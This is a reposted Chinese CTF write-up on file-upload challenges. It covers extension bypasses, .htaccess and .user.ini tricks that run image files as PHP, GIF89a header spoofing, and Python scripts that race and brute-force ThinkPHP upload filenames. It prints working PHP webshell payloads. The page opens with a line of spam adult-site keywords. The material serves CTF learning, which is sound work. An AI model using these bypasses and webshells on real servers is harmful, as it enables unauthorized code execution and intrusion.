日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 >

CTF下的文件上传

發布時間:2024/9/30 56 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CTF下的文件上传 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言:

CTF下的文件上傳考法也有很多種,結合做過的題目進行一個總結。

[ACTF2020 新生賽]Upload

——后綴名繞過

有JS代碼在前端驗證,先上傳要求的格式再通過抓包修改后綴名

看來php后綴被過濾了,可以嘗試其他后綴名

php常用后綴名如下:

# php2,php3、php4、php5、phtml、phtm 代替php后綴


phtml和phtm后綴即可上傳進行,下面就是連接查看flag了

類似題目:

[極客大挑戰 2019]Upload

[GXYCTF2019]BabyUpload

——圖片馬

經過測試只有jpg后綴的圖片可以上傳進行,利用php后綴名無法繞過,大小寫也無法繞過,那就通過上傳.htaccess文件來解析上傳的jpg圖片

上傳成功,下面傳入jpeg馬連接即可

補充一下上傳姿勢和.htaccess 文件上傳

#上傳姿勢 添加gif89a的頭 <script language=”php”> php2,php3、php4、php5、phtml、phtm代替php后綴 傳.htaccess 截斷上傳#.htaccess文件上傳 #方法一: # FileMatch 參數即為文件名的正則匹配 <FilesMatch "1.jpg">SetHandler application/x-httpd-php </FilesMatch> // 1.jpg <?php eval($_GET['a']);?> #方法二: AddType application/x-httpd-php .jpg // 1.jpg <?php eval($_GET['a']);?>

類似題目:

[MRCTF2020]你傳你🐎呢

[RoarCTF 2019]Simple Upload

——條件競爭、Thinkphp的文件上傳、腳本上傳


很明顯就是Thinkphp的代碼,查到thinkphp的手冊
ThinkPHP3.2完全開發手冊
查資料發現Thinkphp默認上傳路徑是/home/index/upload
這道題沒有上傳點,應該是要自己編寫腳本上傳進去,可以參考師傅的文章去寫
python模擬文件上傳(multipart/form-data形式)

下載源碼觀察文件上傳命名規則

uniqid() 函數基于以微秒計的當前時間,生成一個唯一的 ID,所以上傳文件名是一直在變化的。

觀察題目源碼會發現只是限制了上傳后綴,thinkPHP里的upload()函數在不傳參的情況下是批量上傳的,可以理解為防護機制只檢測一次,運用條件競爭,多次上傳便可以繞過文件后綴的檢測。

那接下來就通過腳本來進行上傳

import requestsurl = 'http://b718a952-ff8f-46e1-b071-4d96d9b3b90e.node3.buuoj.cn/index.php/home/index/upload'file1 = {'file':open('lemon.txt','r')} file2 = {'file1':open('lemon.php','r')}r = requests.post(url,files=file1) print(r.text) r = requests.post(url,files=file2) print(r.text)

發現上傳的php文件沒有顯示出文件名

上面提到了uniqid() 函數會以時間更改文件名,所以將lemon.txt上傳兩次根據第一和第三個正常文件的文件名之間的差異,爆破出我們上傳的木馬文件名

import requestsurl = 'http://b718a952-ff8f-46e1-b071-4d96d9b3b90e.node3.buuoj.cn/index.php/home/index/upload'file1 = {'file':open('lemon.txt','r')} file2 = {'file1':open('lemon.php','r')}r = requests.post(url,files=file1) print(r.text) r = requests.post(url,files=file2) print(r.text) r = requests.post(url,files=file1) print(r.text)


發現文件名后六位不同,只能爆破了

import requestss = "1234567890abcdef" for i in s:for j in s:for k in s:for l in s:for o in s:for u in s:url = "http://b718a952-ff8f-46e1-b071-4d96d9b3b90e.node3.buuoj.cn/Public/Uploads/2020-04-24/5ea2526%s%s%s%s%s%s.php"%(i,j,k,l,o,u)r = requests.get(url)# print(url)if r.status_code != 404:print(url)break

幾乎爆破不出來,六位太長了,但思路和方法就是這樣的,看了師傅寫的腳本可以跑出來,學習一下

#coding:utf-8 import requests import time import jsonurl = "http://b718a952-ff8f-46e1-b071-4d96d9b3b90e.node3.buuoj.cn/"path = url + "/index.php/home/index/upload" files = {"file":("a.txt",'a'), "file1":("b.php", '<?php eval($_GET["a"]);')} r = requests.post(path, files=files) t1 = r.text.split("/")[-1].split(".")[0] param=json.loads(r.content) #json.loads()用于將str類型的數據轉成dict print param t1 = int(t1, 16)j = t1 while True:path = url + "/Public/Uploads/"+param['url'].split("/")[-2]+"/%s.php" % hex(j)[2:]try:r = requests.get(path,timeout=1)except:continueif r.status_code == 429:#規避過于頻繁訪問導致的429time.sleep(0.1)continueelif r.status_code != 404:print pathprint r.textbreakprint j, path, r.status_codej -= 1

[SUCTF 2019]CheckIn

——.user.ini的利用

這道題能學到新的知識和姿勢,下面就通過題目來學習

看似是一道正常的上傳題目,然后有黑名單,檢測文件頭,截斷也不行,圖片馬的話.htaccess文件上傳不,這個就很頭疼,看了師傅的WP發現是用到了.user.ini,說實話這個真的沒有遇到過,學習一下

對比: .user.ini 無論是nginx/apache/IIS,只要以fastcgi運行的php都可以用這個方法。 .htaccess .htaccess有局限性,只能是apache.

https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

原理就不敘述了,可以看師傅對其的分析,寫的真的很詳細了

配置項描述
auto_prepend_file指定一個文件,在任何php文件運行前會將這個文件require進來。
auto_append_file類似前一選項,區別是包含目標文件在php尾部執行。當該文件調用了exit()時無效。

下面就通過這道題來練習一下這個方法:

.user.ini

auto_prepend_file=1.jpg

上傳發現繞不過文件頭檢測

可以添加 GIF89a 或者通過設置height以及width來繞過getimagesize、或exif_imagetype的檢測 #define width 666 #define height 666

payload:

.user.ini文件 #define width 666 #define height 666 auto_prepend_file=3.jpg 3.jpg文件 #define width 666 #define height 666 <script language="PHP">system("cat /flag");</script>

其他例子:
https://blog.csdn.net/qq_43305301/article/details/104494779

未完待續!

總結

以上是生活随笔為你收集整理的CTF下的文件上传的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。